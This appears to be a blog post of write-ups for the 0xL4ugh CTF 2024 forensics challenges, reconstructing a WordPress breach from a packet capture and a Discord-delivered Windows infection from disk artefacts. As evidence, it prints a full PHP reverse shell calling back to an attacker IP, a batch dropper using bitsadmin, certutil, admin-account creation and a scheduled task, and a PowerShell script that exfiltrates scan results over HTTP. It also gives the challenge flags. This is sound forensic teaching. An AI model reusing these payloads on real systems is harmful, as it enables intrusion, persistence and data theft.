0xL4ugh CTF 2024 writeups

GHOSTSN
14 min readFeb 22, 2024

--

forensics challenge
web challenge

FORENSICS

Wordpress 1

Des: Our WordPress site has experienced a security breach, and the precise method of compromise remains undetermined at present. We need you help to investigate what actually happened.

Q1. There were two attackers attempting to compromise our environment. What is the IP address of the victim, and what is the IP address of the first attacker? Q2. 2. What are the versions of the Apache and PHP servers deployed in our environment?

Flag Format 0xL4ugh{A1_A2}

Example: 0xL4ugh{IP1_IP2_apache1.2.3_php1.2.3}(no spaces)

wordpress1

source

first: open the Wordpress.pcapng file on Wireshark and filter with http keyword:

wordpress.pcapng file on wireshark

Looking at it, we see that the tool used is WPScan v3.8.25 and ip attacker:

192.168.204.132 and ip victim: 192.168.204.128

The attacker’s ip uses the WPScan tools to scan the website
ip address victim return http response
ip’s victim return html

and i also found the version of Apache that deployed implemented it:

Apache/2.4.58 and PHP/8.2.12

=> FLAG:

0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}

WordPress 2

Same As WordPress — 1

Q1. During enumeration, the attacker tried to identify users on the site. List all the users that the attacker enumerated. (seperate them with :),(sort them by alphapitical order)

Q2. After enumeration, a brute force attack was launched against all users. The attacker successfully gained access to one of the accounts. What are the username and password for that account, and what is the name of the page used for the brute force attack?

Flag Format 0xL4ugh{A1_A2}

Example: 0xL4ugh{username1:username2_username:password_pageName.ext}

wordpress 2

Analyzing on Wireshark, we can see that attacker scanned on the path /wordpress/?author=number with http response code

scan first user
a1l4m
scanned user ‘not7amoksha’
demomorgan

There are only 3 users because for the 4th user the http response code returns 404

=> a1l4m, not7amoksha,demomorgan

Because of brute force attack, when the login is successfully, the attacker stops, so look for the last brute force events.

the last brute force attack event
isAdmin

=> The user who successfully logged in is a demomorgan and pageName : xmlrpc.php

=> FLAG:

0xL4ugh{a1l4m:demomorgan:not7amoksha_demomorgan:demomorgan_xmlrpc.php}

WordPress 3

Same As WordPress — 1

َQ1. Mention the names of the tools that the attacker used in the attack. (alphapitical order)

Q2. There was a vulnerable plugin that the attacker exploited. What is the C2 server of the attacker, and what is the name of the plugin?

Q3. What is the version of the vulnerable plugin, and what is the CVE number associated with that plugin?

Flag Format 0xL4ugh{A1_A2_A3}

Example: 0xL4ugh{tool1_tool2_C2_PluginName_1.2.3_CVE}

WordPress — 3

The attacker used 2 tools: WPScan v3.8.25 and sqlmap v1.7.12 (filter attacker only http && ip.src==192.168.204.132)

WPScan v3.8.25
sqlmap v1.7.12

Q2: There was a vulnerable plugin that the attacker exploited. What is the C2 server of the attacker, and what is the name of the plugin?

clear filter and ctrl + f with ‘plugin’ keyword (filter victim only http && ip.src==192.168.204.128):

canto plugin

=> i’ve found: canto plugin and another ip of the attacker: 172.26.211.155

Q3. What is the version of the vulnerable plugin, and what is the CVE number associated with that plugin?

Google search canto remote code and found:

CVE-2023–3452 and version plugin 3.0.4

=> CVE-2023–3452

=> FLAG

0xL4ugh{sqlmap_WPScan_172.26.211.155_canto_3.0.4_CVE-2023-3452}

WordPress 4

Same As WordPress — 1

Q1. What is the name of the function that the attacker tested the exploit with, and what is the name/version of the attacker’s server?

Q2. What is the username that was logged on during the attack, including the domain?

Q3. The attacker attempted to upload a reverse shell. Mention the IP and port. What command posed an obstacle during the process of the reverse shell?

Flag Format 0xL4ugh{A1_A2_A3}

Example: 0xL4ugh{functionName()_serverName/version_domain\username_IP:PORT_command}

WordPress — 4

Q1. What is the name of the function that the attacker tested the exploit with, and what is the name/version of the attacker’s server?

filter with http and ip.src==172.26.211.155 (only attacker ip)

phpinfo() and SimpleHTTP v 0.6

Q2. What is the username that was logged on during the attack, including the domain?

clear filter and search whoami keyword:

desktop-2r3ar22\administrator

Q3. The attacker attempted to upload a reverse shell. Mention the IP and port. What command posed an obstacle during the process of the reverse shell?

reverse shell:

reverse shell
decode
<?php


set_time_limit (0);
$VERSION = "1.0";
$ip = '172.26.211.155'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

What command posed an obstacle during the process of the reverse shell?

clear filter and search tcp.port==1234 to find all requests and responses of victim and attacker

find it:

uname
decode

=> FLAG

0xL4ugh{phpinfo()_SimpleHTTP/0.6_desktop-2r3ar22\administrator_172.26.211.155:1234_uname}

Gamer 1

An employee downloaded an unauthorized app on their work PC to play and chat with gamer friends, leading to a malware infection. Utilizing investigative skills, please identify the specific events that transpired in this scenario.

Q1 — Can you identify the application utilized for the initial access and its version? (Example: Slack_1.2.4)

Q2- What is the attacker’s ID and their account creation date?(Initial Access)

Q3- What is the full real name of the attacker(little Osint)?

Flag Format 0xL4ugh{A1_A2_A3}

Example: 0xL4ugh{Slack_1.2.xxxx_ID_01–12–2001_01:01:05_AttackerName(No Spaces)}

ZIP Password: 0xL4ughCTF2024

Gamer 1

source

use tool Magnet AXIOM Process to create test case:

create test case

CASE DETAIL:

location for case files: case’s storage location

location for acquired evidence (bằng chứng thu được): file location needs forensics

evidence source

click analyze evidence:

Magnet AXIOM process will automatically open Magnet AXIOM Examine and wait

open Artifacts:

Q1 — Can you identify the application utilized for the initial access and its version? (Example: Slack_1.2.4)

Check Download folder and see the discord application:

discord.exe

Check Edge download:

unauthorized app

a rar file has been loaded from the discord app

-> Q1: Discord and version 1.0.9028

Q2- What is the attacker’s ID and their account creation date?(Initial Access)

check in Discord Messages:

username: t4r3kk

i found the attaker:

=> Q2: 964399437671710790_15–4–2022_05:39:03

way 2:

i found the blog

find Cache folder:

Cache discord

The user activity files are located in the Cache folder

it is the same file format of the GG Chrome:

Chrome

use tool chromecacheview

the tool will by default parse the cache the chrome at the default folder location

  • > point the tool to Discord cache folder
copy path Discord cache folder
paste

find the chat with message?limit=50 and export

50.json
export

it’s also very difficult to see

use tool convert json chat to html or xls for reading

json to html

Q3- What is the full real name of the attacker(little Osint)?

reverse image search:

Igor Dehtyarchuk

=> Igor Dehtyarchuk

=> FLAG:

0xL4ugh{Discord_1.0.9028_964399437671710790_15-04-2022_05:39:03_IgorDekhtyarchuk}

Gamer 2

Same As Gamer 1

Q1 — Could you share the SHA256 hash of the harmful file and tell me how much time passed between receiving it initially and running the associated script?

Q2 — What is the CVE number that the attacker took advantage of?

Format: 0xL4ugh{SH256_HH:MM:SS_CVE-XXXX-XXXXX}

gamer 2

Q1 — Could you share the SHA256 hash of the harmful file and tell me how much time passed between receiving it initially and running the associated script?

check sending time:

check hash:

hash
CVE 2023–38831

search with appmanifest keyword in image:

we now need to know what program is linked to the malicious file and we will know when it was run

because an application is run for the first time on a system, Windows will create a prefetch file (.pf) at path C:\Windows\Prefetch . The file contains information abot how the application is loaded and executed is system’s memory (windows will use the information in this prefetch file to help the application start fast) etc

find cmd in the prefetch folder and i analyze the prefetch file into a cmd and verify if it is executed and what time it is executed:

use tool PECmd for analysis .pf file

analysis
  • > CMD.EXE-0BD30981 is linked
  • > last run: 2024–01–07 09:16:15
  • > time start: 2024–01–06T23:36:30.716000+00:00 == 23:36:31
  • > time: 09:39:44
  • > HASH: E29F365335ADEEA575AE1E592BD50313C38BD89BF9FF6B7F7F06E6377B0661C3
  • > CVE-2023–38831

=> FLAG:

0xL4ugh{E29F365335ADEEA575AE1E592BD50313C38BD89BF9FF6B7F7F06E6377B0661C3_09:39:44_CVE-2023-38831}

Gamer 3

Same As Gamer 1

Q1- The intruder downloaded a malicious file. Provide the complete URL of the file along with its size in bytes. (URL_Bytes)

Q2- In the sequence of events, the attacker changed the name of the downloaded file. What is the new name? Afterward, the file was removed. Can you provide the timestamp when it was deleted?

Flag Format : 0xL4ugh{URL_Bytes_FileName_TimeStamp }

Example: 0xL4ugh{FullURL_1337_Filename.extention_DD-MM-YYYY_HH:MM:SS}

gamer 3

Q1- The intruder downloaded a malicious file. Provide the complete URL of the file along with its size in bytes. (URL_Bytes)

i’m going to review the Microsoft-Windows-Bits-Client.evtx log:

Microsoft-Windows-Bits-Client.evtx is a log file that contain event related to the background Intelligent Transfer Service (BITS) on windows system (event id 59 start transfer with URL)

event id 59 start transfer
2924 byte

=> http://172.17.121.9:8080/ProfilePicture.jpg_2924 = Q1

Q2- In the sequence of events, the attacker changed the name of the downloaded file. What is the new name? Afterward, the file was removed. Can you provide the timestamp when it was deleted?

check NTFS and specify $J:

$J

using the MFTECmd tool to convert it to CSV and timeline explore tools to read the result. Link tool

MFTECmd
Timeline Explore

after downloading the ProfilePicture.jpg, attacker renamed the file to normal.zip

renamed

time deleted:

=> normal.zip and 2024–01–07 09:16:23

ref

=> FLAG

0xL4ugh{http://172.17.121.9:8080/ProfilePicture.jpg_2924_normal.zip_07-01-2024_09:16:23}

Gamer 4

Same As Gamer — 1

The attacker created a scheduled task. Could you please provide the name of the task and the action command associated with it? FlagFormat: 0xL4ugh{SchudledTaskName_Command}

Game 4
REM "No worries mate. You just got hacked"
mkdir C:\T3MP
cd C:\T3MP
bitsadmin /transfer Nothing /download /priority normal http://172.17.121.9:8080/ProfilePicture.jpg C:\T3MP\ProfilePicture.jpg

certutil -decode ProfilePicture.jpg normal.zip 1>null
echo Get-ChildItem -Path "C:\T3MP" -Filter *.zip | Expand-Archive -DestinationPath "C:\T3MP" -Force 1>C:\T3MP\z.ps1
cmd /c "powershell -NOP -EP Bypass C:\T3MP\z.ps1"
net user admin
IF 2 NEQ 0 (echo LOL, I win ) ELSE (
REM Remove LOL
net user admin /active:no
net localgroup administrators admin /del
)
LOL, I win
REM Hack The Planet
net user /add 7amoksha
net user 7amoksha *
net localgroup administrator 7amoksha /add
schtasks /create /sc minute /mo 1 /tn "NothingSpecial" /tr C:\T3MP\run.bat /RL HIGHEST
REM "If I win, you become my slave."
del z.ps1
del ProfilePicture.jpg
del normal.zip
del C:\Windows\system32\Tasks\NothingSpecial

=> Task: NothingSpecial, command: C:\T3MP\run.bat

=> FLAG:

0xL4ugh{NothingSpecial_C:\T3MP\run.bat}

Gamer 5

Same as Gamer 1

Q1 -The attacker scanned a range of IPs, storing the results in a file for exfiltration. What’s the full path of the output file, the count of active hosts, and the IP & Port used for exfiltration?

Q2- The attacker established a new account for persistence. Can you disclose the name of the new account and its creation date, please? TimeStamp (UTC) Format : 0xL4ugh{FullPath_Count_IP:Port_username_TimeStamp}

Exmaple: 0xL4ugh{C:**\fileName.ext_0_127.0.0.1:1337_HackerAwyyy_DD-MM-YYYY_HH:MM:SS}

analyzing run.ps1 file:

$startIP = "192.168.1.1"
$endIP = "192.168.1.17"
$outputFile = "C:\Users\Administrator\AppData\Local\Temp\A52148.txt"

$start = [System.Net.IPAddress]::Parse($startIP).GetAddressBytes()[3]
$end = [System.Net.IPAddress]::Parse($endIP).GetAddressBytes()[3]

for ($current = $start; $current -le $end; $current++) {
$currentIP = "$($startIP.Substring(0, $startIP.LastIndexOf('.') + 1))$current"
$result = Test-Connection -ComputerName $currentIP -Count 1 -ErrorAction SilentlyContinue

if ($result -ne $null) {
Write-Host "Host $currentIP is online."
"Host $currentIP is online." | Out-File -Append -FilePath $outputFile
} else {
Write-Host "Host $currentIP is offline."
"Host $currentIP is offline." | Out-File -Append -FilePath $outputFile
}
}

Write-Host "Scan results saved to $outputFile"
$var = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Administrator\AppData\Local\Temp\A52148.txt'))
Invoke-WebRequest -Uri "http://172.17.121.9:8080/$var" -Method GET

scan 1 -> 17

result: Temp\A52148.txt and sent it to http://172.17.121.9:8080/

6 online

and user create:

7amoksha_07–01–2024_09:16:23

=> FLAG:

0xL4ugh{C:\Users\Administrator\AppData\Local\Temp\A52148.txt_6_172.17.121.9:8080_7amoksha_07-01-2024_09:16:23}

ref:

--

--